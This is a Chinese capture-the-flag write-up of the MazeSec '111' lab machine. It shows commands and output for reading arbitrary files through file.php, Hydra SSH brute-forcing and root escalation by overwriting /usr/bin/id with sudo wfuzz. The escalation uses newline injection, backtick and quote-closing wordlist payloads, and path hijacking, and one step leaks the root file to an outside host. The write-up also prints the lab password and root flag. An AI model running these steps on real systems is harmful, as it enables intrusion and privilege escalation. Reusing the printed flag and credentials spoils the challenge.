MazeSec 111

发布于: 2026-01-09 15:15

靶机信息

靶机名称:111
靶机作者:ll104567/群主
靶机类型:Linux
难度:baby-hard
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/

关键词:任意文件读取、Hydra 弱口令爆破、sudo wfuzz 文件写入、sudo id 覆写执行、换行符注入提权

摘要:本文记录了 MazeSec 111 靶机的渗透过程。选手通过 80 端口的 file.php 发现任意文件读取漏洞,读取 /etc/passwd 确认系统存在 tao 用户;使用 Hydra 配合 rockyou.txt 字典爆破 SSH,成功获取 tao 用户的凭证(密码 rockyou);登录后通过 sudo -l 发现 tao 拥有 NOPASSWD 权限执行 /usr/bin/wfuzz 与 /usr/bin/id。利用 sudo wfuzz 的 -f 参数将扫描结果写入 /usr/bin/id 文件,通过三种可控点实现覆写:一是利用命令行引号未闭合产生的换行符注入,在日志中写入 bash 触发 root shell;二是利用字典内容中的反引号命令替换(bash),在 shell 展开阶段优先执行;三是利用 shell 对包含 / 的命令名直接作为路径解析的特性,在当前目录预创建对应路径的可执行文件进行劫持。最终 sudo 执行被覆写的 /usr/bin/id 时,由 /bin/sh 按行解释该文本文件,在执行到 bash 所在行时启动 root 权限的 Shell,完成权限提升。该靶机重点考察了 sudo 二进制程序 wfuzz 的输出文件滥用、Linux shell 解析特性(换行注入、命令替换、路径解析)以及 sudo 配置缺陷导致的提权技巧。

这是一台伪装为 baby 难度的 hard 靶机,root shell 才是终点。

哈哈群主以我的 id 构建了一台群友 id 系列的靶机,酷!

存活主机发现与 ARP 扫描

使用 arp-scan 扫描内网存活主机:

┌──(npc㉿kali)-[~/test1]
└─$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.215   08:00:27:5c:0a:80       PCS Systemtechnik GmbH

目标主机 IP:192.168.6.215

端口扫描

使用 nmap 进行 TCP 全端口扫描:

┌──(npc㉿kali)-[~/test1]
└─$ nmap 192.168.6.215 -p- -sT -sV 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
53/tcp open  domain  (generic dns response: NOTIMP)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))

发现开放了 22/ssh、53/dns、80/http 三个端口。

80 端口服务探测

访问 80 端口,发现是一个 rockyou 字典的介绍页

尝试 dirsearch 进行目录扫描

┌──(npc㉿kali)-[~/test1]
└─$ dirsearch -u http://192.168.6.215                 
[22:56:40] 200 -    0B  - /file.php

发现了一个 file.php 页面,页面大小为 0 字节

尝试使用 文件相关参数手动探测

在使用 file.php?file=/etc/passwd时,发现页面返回了 /etc/passwd 的内容,说明存在任意文件读取漏洞,并且存在具有登录 shell 的用户 tao

爆破 SSH 登录

使用 hydra 爆破 ssh 登录,用户名使用 tao,密码使用 rockyou 字典,很快就拿到了 tao 用户的密码 rockyou

┌──(npc㉿kali)-[~/test1]
└─$ hydra -l tao -P /usr/share/wordlists/rockyou.txt -s 22 ssh://192.168.6.215 -t 4 -v -I -e nsr

[22][ssh] host: 192.168.6.215   login: tao   password: rockyou

SSH 用户信息

tao:rockyou

读取 root flag

用户 tao 具有两条 sudo 权限:

tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id

先说简单的 root flag 读取方案

使用 sudo 执行 wfuzz 扫描一个 可控的 web 服务,把目标文件作为字典来扫描可控的 web 服务,从而读取目标文件内容

tao@111:~$ sudo wfuzz -w /root/root.txt -u http://192.168.6.101/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.6.101/FUZZ
Total requests: 1

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                               
=====================================================================

000000001:   404        13 L     32 W       335 Ch      "flag{root-9bbd7af2a042a901b92dc203b3896621}"                                         

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

鸡系鸡系,下面才是精彩的提权部分

wfuzz 写入内容研究

wfuzz 的 -h 帮助信息靶机比较简练,使用 --help 查看完整帮助信息

重点在于 -f 参数,把扫描结果写入到输出文件里

下面以读取 root flag 时的 流程与日志作为展示

这里便是写入的日志内容,重点放在这个日志内容上

通过观察,可以发现两处可控点:

  • 1、目标 URL
  • 2、字典内容

另外还有一种比较隐蔽的可控点,放最后讲,由此引出三种方案

方案一:111方案(换行符注入)

111方案:通过引号的闭合特性,即在命令行输入的引号不成对出现时直接回车,命令行会继续等待输入内容,直到闭合引号,因此可以在引号里构造出换行,从而向日志里写入可控内容

可行性测试:

tao@111:~$ sudo wfuzz -w /root/root.txt -f 1.txt -u 'http://192.168.6.101/FUZZ
> 1111
> '
Target: http://192.168.6.101/FUZZ
1111

tao@111:~$ cat 1.txt
Target: http://192.168.6.101/FUZZ
1111

成功写入了可控内容 1111,我们可以利用这个可控日志去覆写另一个 sudo 授权文件 /usr/bin/id

利用:

tao@111:~$ sudo wfuzz -w /root/root.txt -f /usr/bin/id -u 'http://192.168.6.101/FUZZ
bash
'

验证:

tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
bash


tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao# 

这里发生了什么细节?或者利用了什么特性?

  • 这个 id 文件是可执行文件
  • 当 sudo/ shell 尝试执行一个非 ELF 且无 shebang 的可执行文本文件时,底层 execve 返回 ENOEXEC,调用方通常会退回用 /bin/sh(或其指定的 shell)来解释执行该文件
  • shell 环境执行命令 按行(句)解析,一行失败不会阻止后续行执行(除非启用了 set -e 等)

什么是 shebang 行?在可执行文件第一行以 #! 开头的行,后面跟着解释器路径,比如 #!/bin/bash,表示用 /bin/bash 来解释执行该脚本文件

因此 sudo 执行 /usr/bin/id 时,会由 /bin/sh(或 sudo 指定的 shell)按行解释该文本;执行到包含 bash 的那一行时,启动了一个 root 权限的 bash,从而获得 root shell

近期靶机推荐:Spiteful、Search、Meltdown

方案二:垃圾堆方案

垃圾堆方案:在脏数据里找到可控点,尝试闭合、破坏原有结构(引号)达到命令注入,或者在不能闭合破坏原有结构下,找到 shell 特性利用点如命令替换

这里又可以引出两种小方案:

  • 命令替换利用(shell展开阶段)
  • 双引号闭合利用(闭合原有结构)

命令替换利用(shell展开阶段)

利用 bash 执行一行命令前,shell 会先做各种展开,其中包括命令替换会被先执行,其输出再回填到该位置,属于展开阶段,执行发生在真正运行命令之前

在双引号 " 里,真正能“提前执行命令”的,本质上只有「命令替换」,如`cmd`或$(cmd)

在 wfuzz 的输出文件中,对字典的内容添加了双引号

我们可以通过指定字典来控制双引号里的内容

利用:

tao@111:~$ echo '`bash`' > bash.txt
tao@111:~$ cat bash.txt
`bash`
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u http://192.168.6.101/FUZZ
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
==================================================================
ID    Response   Lines      Word         Chars          Request    
==================================================================
00001:  C=404     13 L        32 W          335 Ch        "`bash`"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

验证:

这里发生了什么细节?或者利用了什么特性?

  • 这个 id 文件是可执行文件
  • 当 sudo/ shell 尝试执行一个非 ELF 且无 shebang 的可执行文本文件时,底层 execve 返回 ENOEXEC,调用方通常会退回用 /bin/sh(或其指定的 shell)来解释执行该文件。
  • shell 环境执行命令 按行解析,shell 会先做各种展开,其中包括命令替换会被先执行,一行失败不会阻止后续行执行(除非启用了 set -e 等)

因此 sudo 执行 /usr/bin/id 时,会由 /bin/sh(或 sudo 指定的 shell)按行解释该文本;执行到包含 bash 的那一行时,启动了一个 root 权限的 bash,从而获得 root shell

关于 命令替换 时没有回显的解释

在命令替换(如 bash 或 $(bash))中,父 shell 会 fork 一个子进程执行被替换的命令。子进程的标准输出会被重定向到一个管道中,由父 shell 在子进程结束后读取全部输出,并将其作为字符串插入到原命令位置。由于 stdout 不再连接到终端,而是管道,子进程无法实时回显输出。命令替换只捕获 stdout,stderr 仍然连接到终端,因此将输出重定向到 stderr 可以立即看到。

这里的 bash 实际上会捕获子进程的所有标准输出,在 子进程使用exit结束进程时替换掉 bash,所以实际上执行的是子进程的标准输出 111,而子进程执行过程遇到的错误会直接输出到终端

┌──(npc㉿kali)-[~]
└─$ `bash`
┌──(npc㉿kali)-[~]
└─$ 111
111:未找到命令
┌──(npc㉿kali)-[~]
└─$ echo '111'
┌──(npc㉿kali)-[~]
└─$ exit
exit
111:未找到命令

把标准输出重定向到标准错误,就能看到回显了

双引号闭合利用(闭合原有结构)

这里的双引号也是可以闭合的

tao@111:~$ echo '";bash;#' > bash.txt
tao@111:~$ cat bash.txt
";bash;#
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u http://192.168.6.101/FUZZ
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
==================================================================
ID    Response   Lines      Word         Chars          Request    
==================================================================
00001:  C=404     13 L        32 W          335 Ch        "";bash;#"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

近期靶机推荐:React

方案三:ta0方案(路径解析利用)

ta0 方案:当 shell 解析一行命令时,如果“命令名”中包含 /,shell 不会再走 $PATH 查找,而是直接把它当成路径执行。

因此,只要:

  • 当前目录可控
  • 可以提前构造对应目录及可执行文件

就可能劫持日志中的某一行执行。

当 shell 解析一行命令时:

command arg1 arg2

shell 会把:第一个 token (command),视为要执行的命令,后面的内容视为参数

如果第一个 token 中包含 /:

a/b c

shell 不会去 $PATH 中查找,而是直接把它当成一个文件路径执行。

# 会被当成路径执行
a/b c

# b/c 只是参数
a b/c

因此,如果我们能控制当前目录,并提前构造对应路径和可执行文件,就可能让日志中的某一行被 shell 当成命令执行。

满足以下条件时适用:

  • / 不作为一行字符的开头
  • / 出现在第一个空格前

同样以这个读取 root flag日志作为演示:

图中出现了两次 / 字符,分别是目标主机url http://192.168.6.101/FUZZRequests/sec.: 0这一行

以利用Requests/sec.: 0这一行为演示:

shell 会把 Requests/sec.: 视为命令路径,把 0 作为参数传入。我们创建 Requests/sec.: 这个可执行文件,内容为 bash就好了

tao@111:~$ mkdir -p Requests
tao@111:~$ echo 'bash' > Requests/'sec.:'
tao@111:~$ chmod +x Requests/sec.\:
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
==================================================================
ID    Response   Lines      Word         Chars          Request    
==================================================================
00001:  C=404     13 L        32 W          335 Ch        "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id

root@111:/home/tao# 

同样可以利用 http://192.168.6.101/FUZZ这个目标 Url,需要注意的是,这个 URL 前面有了脏数据,控制一下这个 URL ,前面构造一个分号,从而避开脏数据的影响:

tao@111:~$ mkdir -p http://192.168.6.101/
tao@111:~$ echo 'bash' > http://192.168.6.101/FUZZ
tao@111:~$ chmod +x http://192.168.6.101/FUZZ
tao@111:~$ sudo wfuzz -w bash.txt -f /usr/bin/id -u ';http://192.168.6.101/FUZZ'
tao@111:~$ cat /usr/bin/id
Target: http://192.168.6.101/FUZZ
Total requests: 1
==================================================================
ID    Response   Lines      Word         Chars          Request    
==================================================================
00001:  C=404     13 L        32 W          335 Ch        "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id

root@111:/home/tao# 

这里实际上是在 shell 里执行,如果其他命令分隔符会原样拼接进去的话,也可以尝试,例如 &| 或命令替换等等 shell 环境的玩法

近期靶机推荐:dan